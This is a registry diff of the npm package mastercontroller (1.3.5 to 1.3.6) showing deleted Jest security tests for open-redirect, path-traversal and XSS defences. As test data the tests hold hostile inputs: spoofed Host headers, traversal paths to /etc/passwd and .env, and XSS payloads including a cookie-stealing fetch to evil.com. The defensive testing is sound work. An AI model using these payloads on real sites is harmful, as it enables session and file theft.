mastercontroller 1.3.5 → 1.3.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/MasterActionFilters.js +2 -2
- package/MasterHtml.js +2 -2
- package/package.json +1 -1
- package/error/ErrorBoundary.js +0 -353
- package/error/HydrationMismatch.js +0 -265
- package/error/MasterBackendErrorHandler.js +0 -769
- package/error/MasterError.js +0 -240
- package/error/MasterError.js.tmp +0 -0
- package/error/MasterErrorHandler.js +0 -487
- package/error/MasterErrorLogger.js +0 -360
- package/error/MasterErrorMiddleware.js +0 -407
- package/error/MasterErrorRenderer.js +0 -536
- package/error/MasterErrorRenderer.js.tmp +0 -0
- package/error/SSRErrorHandler.js +0 -273
- package/log/mastercontroller.log +0 -6
- package/test/security/filters.test.js +0 -276
- package/test/security/https.test.js +0 -214
- package/test/security/path-traversal.test.js +0 -222
- package/test/security/xss.test.js +0 -190
|
@@ -1,214 +0,0 @@
|
|
|
1
|
-
// HTTPS and Open Redirect Protection Tests
|
|
2
|
-
const master = require('../../MasterControl');
|
|
3
|
-
require('../../MasterAction');
|
|
4
|
-
|
|
5
|
-
describe('HTTPS and Open Redirect Protection', () => {
|
|
6
|
-
|
|
7
|
-
class MockController {
|
|
8
|
-
constructor() {
|
|
9
|
-
Object.assign(this, master.controllerExtensions);
|
|
10
|
-
this.__requestObject = {
|
|
11
|
-
request: {
|
|
12
|
-
connection: {},
|
|
13
|
-
headers: {}
|
|
14
|
-
},
|
|
15
|
-
response: {
|
|
16
|
-
_headerSent: false,
|
|
17
|
-
headersSent: false,
|
|
18
|
-
writeHead: jest.fn(),
|
|
19
|
-
end: jest.fn(),
|
|
20
|
-
setHeader: jest.fn()
|
|
21
|
-
},
|
|
22
|
-
pathName: '/login'
|
|
23
|
-
};
|
|
24
|
-
}
|
|
25
|
-
|
|
26
|
-
redirectTo(url) {
|
|
27
|
-
this.__requestObject.response.writeHead(302, { 'Location': url });
|
|
28
|
-
this.__requestObject.response.end();
|
|
29
|
-
}
|
|
30
|
-
|
|
31
|
-
returnError(code, message) {
|
|
32
|
-
this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
|
|
33
|
-
this.__requestObject.response.end(JSON.stringify({ error: message }));
|
|
34
|
-
}
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
describe('requireHTTPS() - Open Redirect Fix', () => {
|
|
38
|
-
beforeEach(() => {
|
|
39
|
-
// Setup test environment
|
|
40
|
-
master.env = master.env || {};
|
|
41
|
-
master.env.server = {
|
|
42
|
-
hostname: 'example.com',
|
|
43
|
-
httpsPort: 443
|
|
44
|
-
};
|
|
45
|
-
});
|
|
46
|
-
|
|
47
|
-
test('should NOT use Host header from request', () => {
|
|
48
|
-
const controller = new MockController();
|
|
49
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
50
|
-
controller.__requestObject.request.headers.host = 'evil.com';
|
|
51
|
-
|
|
52
|
-
controller.requireHTTPS();
|
|
53
|
-
|
|
54
|
-
// Should redirect to configured host, NOT Host header
|
|
55
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
56
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
57
|
-
|
|
58
|
-
expect(redirectCall).toBeTruthy();
|
|
59
|
-
expect(redirectCall[1].Location).toBe('https://example.com/login');
|
|
60
|
-
expect(redirectCall[1].Location).not.toContain('evil.com');
|
|
61
|
-
});
|
|
62
|
-
|
|
63
|
-
test('should use configured hostname', () => {
|
|
64
|
-
const controller = new MockController();
|
|
65
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
66
|
-
|
|
67
|
-
master.env.server.hostname = 'myapp.com';
|
|
68
|
-
|
|
69
|
-
controller.requireHTTPS();
|
|
70
|
-
|
|
71
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
72
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
73
|
-
|
|
74
|
-
expect(redirectCall[1].Location).toBe('https://myapp.com/login');
|
|
75
|
-
});
|
|
76
|
-
|
|
77
|
-
test('should include port if not 443', () => {
|
|
78
|
-
const controller = new MockController();
|
|
79
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
80
|
-
|
|
81
|
-
master.env.server.hostname = 'example.com';
|
|
82
|
-
master.env.server.httpsPort = 8443;
|
|
83
|
-
|
|
84
|
-
controller.requireHTTPS();
|
|
85
|
-
|
|
86
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
87
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
88
|
-
|
|
89
|
-
expect(redirectCall[1].Location).toBe('https://example.com:8443/login');
|
|
90
|
-
});
|
|
91
|
-
|
|
92
|
-
test('should return error if hostname not configured', () => {
|
|
93
|
-
const controller = new MockController();
|
|
94
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
95
|
-
|
|
96
|
-
master.env.server.hostname = 'localhost';
|
|
97
|
-
|
|
98
|
-
const result = controller.requireHTTPS();
|
|
99
|
-
|
|
100
|
-
expect(result).toBe(false);
|
|
101
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(500, expect.any(Object));
|
|
102
|
-
});
|
|
103
|
-
|
|
104
|
-
test('should allow request if already HTTPS', () => {
|
|
105
|
-
const controller = new MockController();
|
|
106
|
-
controller.__requestObject.request.connection.encrypted = true;
|
|
107
|
-
|
|
108
|
-
const result = controller.requireHTTPS();
|
|
109
|
-
|
|
110
|
-
expect(result).toBe(true);
|
|
111
|
-
expect(controller.__requestObject.response.writeHead).not.toHaveBeenCalled();
|
|
112
|
-
});
|
|
113
|
-
|
|
114
|
-
test('should detect HTTPS from X-Forwarded-Proto header', () => {
|
|
115
|
-
const controller = new MockController();
|
|
116
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
117
|
-
controller.__requestObject.request.headers['x-forwarded-proto'] = 'https';
|
|
118
|
-
|
|
119
|
-
const result = controller.requireHTTPS();
|
|
120
|
-
|
|
121
|
-
expect(result).toBe(true);
|
|
122
|
-
});
|
|
123
|
-
});
|
|
124
|
-
|
|
125
|
-
describe('isSecure()', () => {
|
|
126
|
-
test('should return true for encrypted connection', () => {
|
|
127
|
-
const controller = new MockController();
|
|
128
|
-
controller.__requestObject.request.connection.encrypted = true;
|
|
129
|
-
|
|
130
|
-
expect(controller.isSecure()).toBe(true);
|
|
131
|
-
});
|
|
132
|
-
|
|
133
|
-
test('should return true for X-Forwarded-Proto: https', () => {
|
|
134
|
-
const controller = new MockController();
|
|
135
|
-
controller.__requestObject.request.headers['x-forwarded-proto'] = 'https';
|
|
136
|
-
|
|
137
|
-
expect(controller.isSecure()).toBe(true);
|
|
138
|
-
});
|
|
139
|
-
|
|
140
|
-
test('should return false for HTTP', () => {
|
|
141
|
-
const controller = new MockController();
|
|
142
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
143
|
-
controller.__requestObject.request.headers['x-forwarded-proto'] = 'http';
|
|
144
|
-
|
|
145
|
-
expect(controller.isSecure()).toBe(false);
|
|
146
|
-
});
|
|
147
|
-
});
|
|
148
|
-
|
|
149
|
-
describe('Real-World Attack Scenarios', () => {
|
|
150
|
-
beforeEach(() => {
|
|
151
|
-
master.env = master.env || {};
|
|
152
|
-
master.env.server = {
|
|
153
|
-
hostname: 'legitimate.com',
|
|
154
|
-
httpsPort: 443
|
|
155
|
-
};
|
|
156
|
-
});
|
|
157
|
-
|
|
158
|
-
test('should prevent phishing via Host header manipulation', () => {
|
|
159
|
-
const controller = new MockController();
|
|
160
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
161
|
-
|
|
162
|
-
// Attacker sets malicious Host header
|
|
163
|
-
controller.__requestObject.request.headers.host = 'phishing-site.com';
|
|
164
|
-
controller.__requestObject.pathName = '/login';
|
|
165
|
-
|
|
166
|
-
controller.requireHTTPS();
|
|
167
|
-
|
|
168
|
-
// Should redirect to legitimate site, not attacker's
|
|
169
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
170
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
171
|
-
|
|
172
|
-
expect(redirectCall[1].Location).toBe('https://legitimate.com/login');
|
|
173
|
-
expect(redirectCall[1].Location).not.toContain('phishing-site.com');
|
|
174
|
-
});
|
|
175
|
-
|
|
176
|
-
test('should prevent redirect to external domain', () => {
|
|
177
|
-
const controller = new MockController();
|
|
178
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
179
|
-
|
|
180
|
-
// Attacker tries various Host header values
|
|
181
|
-
const maliciousHosts = [
|
|
182
|
-
'evil.com',
|
|
183
|
-
'attacker.net',
|
|
184
|
-
'phishing.org',
|
|
185
|
-
'legitimate.com.evil.com'
|
|
186
|
-
];
|
|
187
|
-
|
|
188
|
-
maliciousHosts.forEach(host => {
|
|
189
|
-
controller.__requestObject.request.headers.host = host;
|
|
190
|
-
controller.__requestObject.response.writeHead.mockClear();
|
|
191
|
-
|
|
192
|
-
controller.requireHTTPS();
|
|
193
|
-
|
|
194
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
195
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
196
|
-
|
|
197
|
-
expect(redirectCall[1].Location).toBe('https://legitimate.com/login');
|
|
198
|
-
});
|
|
199
|
-
});
|
|
200
|
-
|
|
201
|
-
test('should preserve original path in redirect', () => {
|
|
202
|
-
const controller = new MockController();
|
|
203
|
-
controller.__requestObject.request.connection.encrypted = false;
|
|
204
|
-
controller.__requestObject.pathName = '/admin/users/123';
|
|
205
|
-
|
|
206
|
-
controller.requireHTTPS();
|
|
207
|
-
|
|
208
|
-
const writeHeadCalls = controller.__requestObject.response.writeHead.mock.calls;
|
|
209
|
-
const redirectCall = writeHeadCalls.find(call => call[0] === 302);
|
|
210
|
-
|
|
211
|
-
expect(redirectCall[1].Location).toBe('https://legitimate.com/admin/users/123');
|
|
212
|
-
});
|
|
213
|
-
});
|
|
214
|
-
});
|
|
@@ -1,222 +0,0 @@
|
|
|
1
|
-
// Path Traversal Protection Tests
|
|
2
|
-
const master = require('../../MasterControl');
|
|
3
|
-
require('../../MasterAction');
|
|
4
|
-
require('../../MasterHtml');
|
|
5
|
-
|
|
6
|
-
describe('Path Traversal Protection', () => {
|
|
7
|
-
|
|
8
|
-
describe('MasterAction - returnPartialView()', () => {
|
|
9
|
-
class MockController {
|
|
10
|
-
constructor() {
|
|
11
|
-
Object.assign(this, master.controllerExtensions);
|
|
12
|
-
this.__requestObject = {
|
|
13
|
-
response: {
|
|
14
|
-
_headerSent: false,
|
|
15
|
-
headersSent: false,
|
|
16
|
-
writeHead: jest.fn(),
|
|
17
|
-
end: jest.fn()
|
|
18
|
-
}
|
|
19
|
-
};
|
|
20
|
-
}
|
|
21
|
-
|
|
22
|
-
returnError(code, message) {
|
|
23
|
-
this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
|
|
24
|
-
this.__requestObject.response.end(JSON.stringify({ error: message }));
|
|
25
|
-
}
|
|
26
|
-
}
|
|
27
|
-
|
|
28
|
-
test('should reject ../ path traversal', () => {
|
|
29
|
-
const controller = new MockController();
|
|
30
|
-
const result = controller.returnPartialView('../../etc/passwd', {});
|
|
31
|
-
|
|
32
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
33
|
-
expect(result).toBe('');
|
|
34
|
-
});
|
|
35
|
-
|
|
36
|
-
test('should reject absolute paths', () => {
|
|
37
|
-
const controller = new MockController();
|
|
38
|
-
const result = controller.returnPartialView('/etc/passwd', {});
|
|
39
|
-
|
|
40
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
41
|
-
expect(result).toBe('');
|
|
42
|
-
});
|
|
43
|
-
|
|
44
|
-
test('should reject ~ home directory paths', () => {
|
|
45
|
-
const controller = new MockController();
|
|
46
|
-
const result = controller.returnPartialView('~/../../etc/passwd', {});
|
|
47
|
-
|
|
48
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
49
|
-
expect(result).toBe('');
|
|
50
|
-
});
|
|
51
|
-
|
|
52
|
-
test('should allow safe relative paths', () => {
|
|
53
|
-
const controller = new MockController();
|
|
54
|
-
master.root = __dirname;
|
|
55
|
-
|
|
56
|
-
// This should not throw (though file may not exist)
|
|
57
|
-
try {
|
|
58
|
-
controller.returnPartialView('views/safe/partial.html', {});
|
|
59
|
-
} catch (e) {
|
|
60
|
-
// File not found is OK, as long as validation passed
|
|
61
|
-
}
|
|
62
|
-
|
|
63
|
-
// Should not have called returnError with 400 or 403
|
|
64
|
-
const calls = controller.__requestObject.response.writeHead.mock.calls;
|
|
65
|
-
const hasSecurityError = calls.some(call => [400, 403].includes(call[0]));
|
|
66
|
-
expect(hasSecurityError).toBe(false);
|
|
67
|
-
});
|
|
68
|
-
});
|
|
69
|
-
|
|
70
|
-
describe('MasterAction - returnViewWithoutEngine()', () => {
|
|
71
|
-
class MockController {
|
|
72
|
-
constructor() {
|
|
73
|
-
Object.assign(this, master.controllerExtensions);
|
|
74
|
-
this.__requestObject = {
|
|
75
|
-
response: {
|
|
76
|
-
_headerSent: false,
|
|
77
|
-
headersSent: false,
|
|
78
|
-
writeHead: jest.fn(),
|
|
79
|
-
end: jest.fn()
|
|
80
|
-
}
|
|
81
|
-
};
|
|
82
|
-
}
|
|
83
|
-
|
|
84
|
-
returnError(code, message) {
|
|
85
|
-
this.__requestObject.response.writeHead(code, { 'Content-Type': 'application/json' });
|
|
86
|
-
this.__requestObject.response.end(JSON.stringify({ error: message }));
|
|
87
|
-
}
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
test('should reject ../ path traversal', () => {
|
|
91
|
-
const controller = new MockController();
|
|
92
|
-
controller.returnViewWithoutEngine('../../../etc/passwd');
|
|
93
|
-
|
|
94
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
95
|
-
});
|
|
96
|
-
|
|
97
|
-
test('should reject absolute paths', () => {
|
|
98
|
-
const controller = new MockController();
|
|
99
|
-
controller.returnViewWithoutEngine('/etc/passwd');
|
|
100
|
-
|
|
101
|
-
expect(controller.__requestObject.response.writeHead).toHaveBeenCalledWith(400, expect.any(Object));
|
|
102
|
-
});
|
|
103
|
-
});
|
|
104
|
-
|
|
105
|
-
describe('MasterHtml - renderPartial()', () => {
|
|
106
|
-
let html;
|
|
107
|
-
|
|
108
|
-
beforeEach(() => {
|
|
109
|
-
html = master.viewList.html;
|
|
110
|
-
master.router.currentRoute = {
|
|
111
|
-
root: __dirname
|
|
112
|
-
};
|
|
113
|
-
});
|
|
114
|
-
|
|
115
|
-
test('should reject ../ path traversal', () => {
|
|
116
|
-
const result = html.renderPartial('../../etc/passwd', {});
|
|
117
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
118
|
-
});
|
|
119
|
-
|
|
120
|
-
test('should reject absolute paths', () => {
|
|
121
|
-
const result = html.renderPartial('/etc/passwd', {});
|
|
122
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
123
|
-
});
|
|
124
|
-
|
|
125
|
-
test('should reject ~ home directory', () => {
|
|
126
|
-
const result = html.renderPartial('~/config', {});
|
|
127
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
128
|
-
});
|
|
129
|
-
|
|
130
|
-
test('should allow safe relative paths', () => {
|
|
131
|
-
// Safe path should not return error
|
|
132
|
-
try {
|
|
133
|
-
const result = html.renderPartial('partials/safe.html', {});
|
|
134
|
-
// May return "not found" comment, but not "invalid path"
|
|
135
|
-
expect(result).not.toBe('<!-- Invalid path -->');
|
|
136
|
-
} catch (e) {
|
|
137
|
-
// File not found is OK
|
|
138
|
-
}
|
|
139
|
-
});
|
|
140
|
-
});
|
|
141
|
-
|
|
142
|
-
describe('MasterHtml - renderStyles()', () => {
|
|
143
|
-
let html;
|
|
144
|
-
|
|
145
|
-
beforeEach(() => {
|
|
146
|
-
html = master.viewList.html;
|
|
147
|
-
master.router.currentRoute = {
|
|
148
|
-
root: __dirname,
|
|
149
|
-
isComponent: false
|
|
150
|
-
};
|
|
151
|
-
});
|
|
152
|
-
|
|
153
|
-
test('should reject ../ in folder name', () => {
|
|
154
|
-
const result = html.renderStyles('../../../etc', ['css']);
|
|
155
|
-
expect(result).toBe('');
|
|
156
|
-
});
|
|
157
|
-
|
|
158
|
-
test('should reject absolute paths in folder name', () => {
|
|
159
|
-
const result = html.renderStyles('/etc/passwd', ['css']);
|
|
160
|
-
expect(result).toBe('');
|
|
161
|
-
});
|
|
162
|
-
|
|
163
|
-
test('should allow safe folder names', () => {
|
|
164
|
-
const result = html.renderStyles('pages', ['css']);
|
|
165
|
-
// Should return empty string if no files, but not fail validation
|
|
166
|
-
expect(typeof result).toBe('string');
|
|
167
|
-
});
|
|
168
|
-
});
|
|
169
|
-
|
|
170
|
-
describe('MasterHtml - renderScripts()', () => {
|
|
171
|
-
let html;
|
|
172
|
-
|
|
173
|
-
beforeEach(() => {
|
|
174
|
-
html = master.viewList.html;
|
|
175
|
-
master.router.currentRoute = {
|
|
176
|
-
root: __dirname,
|
|
177
|
-
isComponent: false
|
|
178
|
-
};
|
|
179
|
-
});
|
|
180
|
-
|
|
181
|
-
test('should reject ../ in folder name', () => {
|
|
182
|
-
const result = html.renderScripts('../../config', ['js']);
|
|
183
|
-
expect(result).toBe('');
|
|
184
|
-
});
|
|
185
|
-
|
|
186
|
-
test('should reject absolute paths', () => {
|
|
187
|
-
const result = html.renderScripts('/etc', ['js']);
|
|
188
|
-
expect(result).toBe('');
|
|
189
|
-
});
|
|
190
|
-
|
|
191
|
-
test('should allow safe folder names', () => {
|
|
192
|
-
const result = html.renderScripts('components', ['js']);
|
|
193
|
-
expect(typeof result).toBe('string');
|
|
194
|
-
});
|
|
195
|
-
});
|
|
196
|
-
|
|
197
|
-
describe('Real-World Attack Scenarios', () => {
|
|
198
|
-
test('should prevent reading /etc/passwd', () => {
|
|
199
|
-
const html = master.viewList.html;
|
|
200
|
-
master.router.currentRoute = { root: '/var/www/app' };
|
|
201
|
-
|
|
202
|
-
const result = html.renderPartial('../../../../../../../etc/passwd', {});
|
|
203
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
204
|
-
});
|
|
205
|
-
|
|
206
|
-
test('should prevent reading application config', () => {
|
|
207
|
-
const html = master.viewList.html;
|
|
208
|
-
master.router.currentRoute = { root: '/var/www/app' };
|
|
209
|
-
|
|
210
|
-
const result = html.renderPartial('../../config/database.yml', {});
|
|
211
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
212
|
-
});
|
|
213
|
-
|
|
214
|
-
test('should prevent reading .env files', () => {
|
|
215
|
-
const html = master.viewList.html;
|
|
216
|
-
master.router.currentRoute = { root: '/var/www/app' };
|
|
217
|
-
|
|
218
|
-
const result = html.renderPartial('../../.env', {});
|
|
219
|
-
expect(result).toBe('<!-- Invalid path -->');
|
|
220
|
-
});
|
|
221
|
-
});
|
|
222
|
-
});
|
|
@@ -1,190 +0,0 @@
|
|
|
1
|
-
// XSS Protection Tests for MasterHtml.js
|
|
2
|
-
const master = require('../../MasterControl');
|
|
3
|
-
require('../../MasterHtml');
|
|
4
|
-
|
|
5
|
-
describe('XSS Protection in Form Helpers', () => {
|
|
6
|
-
let html;
|
|
7
|
-
|
|
8
|
-
beforeEach(() => {
|
|
9
|
-
// Create html instance (it's extended to master.viewList)
|
|
10
|
-
html = master.viewList.html;
|
|
11
|
-
});
|
|
12
|
-
|
|
13
|
-
describe('linkTo()', () => {
|
|
14
|
-
test('should escape malicious script in name', () => {
|
|
15
|
-
const result = html.linkTo('<script>alert("XSS")</script>', '/safe');
|
|
16
|
-
expect(result).not.toContain('<script>');
|
|
17
|
-
expect(result).toContain('<script>');
|
|
18
|
-
});
|
|
19
|
-
|
|
20
|
-
test('should escape malicious javascript in href', () => {
|
|
21
|
-
const result = html.linkTo('Click', 'javascript:alert("XSS")');
|
|
22
|
-
expect(result).toContain('href="javascript');
|
|
23
|
-
expect(result).not.toContain('href=javascript'); // Should be quoted
|
|
24
|
-
});
|
|
25
|
-
|
|
26
|
-
test('should escape quote injection', () => {
|
|
27
|
-
const result = html.linkTo('Click', '" onmouseover="alert(\'XSS\')"');
|
|
28
|
-
expect(result).toContain('"');
|
|
29
|
-
expect(result).not.toContain('onmouseover=');
|
|
30
|
-
});
|
|
31
|
-
});
|
|
32
|
-
|
|
33
|
-
describe('imgTag()', () => {
|
|
34
|
-
test('should escape XSS in alt attribute', () => {
|
|
35
|
-
const result = html.imgTag('<script>alert("XSS")</script>', '/image.jpg');
|
|
36
|
-
expect(result).not.toContain('<script>');
|
|
37
|
-
expect(result).toContain('<script>');
|
|
38
|
-
});
|
|
39
|
-
|
|
40
|
-
test('should escape onerror handler', () => {
|
|
41
|
-
const result = html.imgTag('test', '/image.jpg onerror=alert(1)');
|
|
42
|
-
expect(result).toContain('"');
|
|
43
|
-
expect(result).toMatch(/src=".*onerror.*"/); // Should be quoted
|
|
44
|
-
});
|
|
45
|
-
|
|
46
|
-
test('should have proper attribute quoting', () => {
|
|
47
|
-
const result = html.imgTag('test', '/image.jpg');
|
|
48
|
-
expect(result).toMatch(/src="[^"]+"/);
|
|
49
|
-
expect(result).toMatch(/alt="[^"]+"/);
|
|
50
|
-
});
|
|
51
|
-
});
|
|
52
|
-
|
|
53
|
-
describe('textFieldTag()', () => {
|
|
54
|
-
test('should escape malicious name', () => {
|
|
55
|
-
const result = html.textFieldTag('<script>alert(1)</script>', {});
|
|
56
|
-
expect(result).not.toContain('<script>');
|
|
57
|
-
expect(result).toContain('<script>');
|
|
58
|
-
});
|
|
59
|
-
|
|
60
|
-
test('should escape malicious attributes', () => {
|
|
61
|
-
const result = html.textFieldTag('username', {
|
|
62
|
-
value: '"><script>alert(1)</script><input type="hidden'
|
|
63
|
-
});
|
|
64
|
-
expect(result).not.toContain('<script>');
|
|
65
|
-
expect(result).toContain('"><script>');
|
|
66
|
-
});
|
|
67
|
-
|
|
68
|
-
test('should properly quote all attributes', () => {
|
|
69
|
-
const result = html.textFieldTag('test', { value: 'normal', class: 'form-control' });
|
|
70
|
-
expect(result).toMatch(/name="[^"]+"/);
|
|
71
|
-
expect(result).toMatch(/value="[^"]+"/);
|
|
72
|
-
expect(result).toMatch(/class="[^"]+"/);
|
|
73
|
-
});
|
|
74
|
-
});
|
|
75
|
-
|
|
76
|
-
describe('hiddenFieldTag()', () => {
|
|
77
|
-
test('should escape malicious value', () => {
|
|
78
|
-
const result = html.hiddenFieldTag('test', '" onclick="alert(\'XSS\')"', {});
|
|
79
|
-
expect(result).not.toContain('onclick=');
|
|
80
|
-
expect(result).toContain('"');
|
|
81
|
-
});
|
|
82
|
-
|
|
83
|
-
test('should escape additional attributes', () => {
|
|
84
|
-
const result = html.hiddenFieldTag('id', '123', {
|
|
85
|
-
'data-foo': '"><script>alert(1)</script>'
|
|
86
|
-
});
|
|
87
|
-
expect(result).not.toContain('<script>');
|
|
88
|
-
});
|
|
89
|
-
});
|
|
90
|
-
|
|
91
|
-
describe('textAreaTag()', () => {
|
|
92
|
-
test('should escape message content', () => {
|
|
93
|
-
const result = html.textAreaTag('comment', '<script>alert("XSS")</script>', {});
|
|
94
|
-
expect(result).not.toContain('<script>');
|
|
95
|
-
expect(result).toContain('<script>');
|
|
96
|
-
});
|
|
97
|
-
|
|
98
|
-
test('should escape attributes', () => {
|
|
99
|
-
const result = html.textAreaTag('comment', 'safe', {
|
|
100
|
-
placeholder: '"><script>alert(1)</script>'
|
|
101
|
-
});
|
|
102
|
-
expect(result).not.toContain('<script>');
|
|
103
|
-
});
|
|
104
|
-
});
|
|
105
|
-
|
|
106
|
-
describe('submitButton()', () => {
|
|
107
|
-
test('should escape button name', () => {
|
|
108
|
-
const result = html.submitButton('<script>alert(1)</script>', {});
|
|
109
|
-
expect(result).not.toContain('<script>');
|
|
110
|
-
expect(result).toContain('<script>');
|
|
111
|
-
});
|
|
112
|
-
|
|
113
|
-
test('should escape attributes', () => {
|
|
114
|
-
const result = html.submitButton('Submit', {
|
|
115
|
-
onclick: 'alert(1)'
|
|
116
|
-
});
|
|
117
|
-
expect(result).toContain('onclick="alert(1)"'); // Escaped and quoted
|
|
118
|
-
});
|
|
119
|
-
});
|
|
120
|
-
|
|
121
|
-
describe('emailField()', () => {
|
|
122
|
-
test('should escape malicious attributes', () => {
|
|
123
|
-
const result = html.emailField('email', {
|
|
124
|
-
value: '"><script>alert(1)</script>'
|
|
125
|
-
});
|
|
126
|
-
expect(result).not.toContain('<script>');
|
|
127
|
-
});
|
|
128
|
-
});
|
|
129
|
-
|
|
130
|
-
describe('numberField()', () => {
|
|
131
|
-
test('should escape min/max/step values', () => {
|
|
132
|
-
const result = html.numberField('age', '"><script>alert(1)</script>', '100', '1', {});
|
|
133
|
-
expect(result).not.toContain('<script>');
|
|
134
|
-
expect(result).toContain('"><script>');
|
|
135
|
-
});
|
|
136
|
-
});
|
|
137
|
-
|
|
138
|
-
describe('javaScriptSerializer()', () => {
|
|
139
|
-
test('should escape closing script tags', () => {
|
|
140
|
-
const data = { comment: '</script><script>alert("XSS")</script>' };
|
|
141
|
-
const result = html.javaScriptSerializer('userData', data);
|
|
142
|
-
|
|
143
|
-
// Should not contain unescaped </script>
|
|
144
|
-
expect(result).not.toMatch(/<\/script><script>/);
|
|
145
|
-
// Should contain escaped version
|
|
146
|
-
expect(result).toContain('\\u003c/script\\u003e');
|
|
147
|
-
});
|
|
148
|
-
|
|
149
|
-
test('should escape < and > characters', () => {
|
|
150
|
-
const data = { html: '<div>test</div>' };
|
|
151
|
-
const result = html.javaScriptSerializer('config', data);
|
|
152
|
-
|
|
153
|
-
expect(result).toContain('\\u003c');
|
|
154
|
-
expect(result).toContain('\\u003e');
|
|
155
|
-
});
|
|
156
|
-
|
|
157
|
-
test('should escape variable name', () => {
|
|
158
|
-
const result = html.javaScriptSerializer('<script>alert(1)</script>', { test: 'data' });
|
|
159
|
-
expect(result).toContain('<script>');
|
|
160
|
-
});
|
|
161
|
-
});
|
|
162
|
-
|
|
163
|
-
describe('Real-World Attack Scenarios', () => {
|
|
164
|
-
test('should prevent stored XSS attack', () => {
|
|
165
|
-
// Simulate stored XSS from database
|
|
166
|
-
const userComment = '<img src=x onerror=alert(document.cookie)>';
|
|
167
|
-
const result = html.textAreaTag('comment', userComment, {});
|
|
168
|
-
|
|
169
|
-
expect(result).not.toContain('onerror=');
|
|
170
|
-
expect(result).toContain('<img');
|
|
171
|
-
});
|
|
172
|
-
|
|
173
|
-
test('should prevent reflected XSS attack', () => {
|
|
174
|
-
// Simulate reflected XSS from URL parameter
|
|
175
|
-
const searchQuery = '"><script>fetch("http://evil.com?c="+document.cookie)</script>';
|
|
176
|
-
const result = html.textFieldTag('search', { value: searchQuery });
|
|
177
|
-
|
|
178
|
-
expect(result).not.toContain('<script>');
|
|
179
|
-
expect(result).not.toContain('fetch(');
|
|
180
|
-
});
|
|
181
|
-
|
|
182
|
-
test('should prevent DOM-based XSS', () => {
|
|
183
|
-
const maliciousUrl = 'javascript:eval(atob("YWxlcnQoMSk="))';
|
|
184
|
-
const result = html.linkTo('Click', maliciousUrl);
|
|
185
|
-
|
|
186
|
-
// Should be quoted and escaped
|
|
187
|
-
expect(result).toMatch(/href="[^"]*"/);
|
|
188
|
-
});
|
|
189
|
-
});
|
|
190
|
-
});
|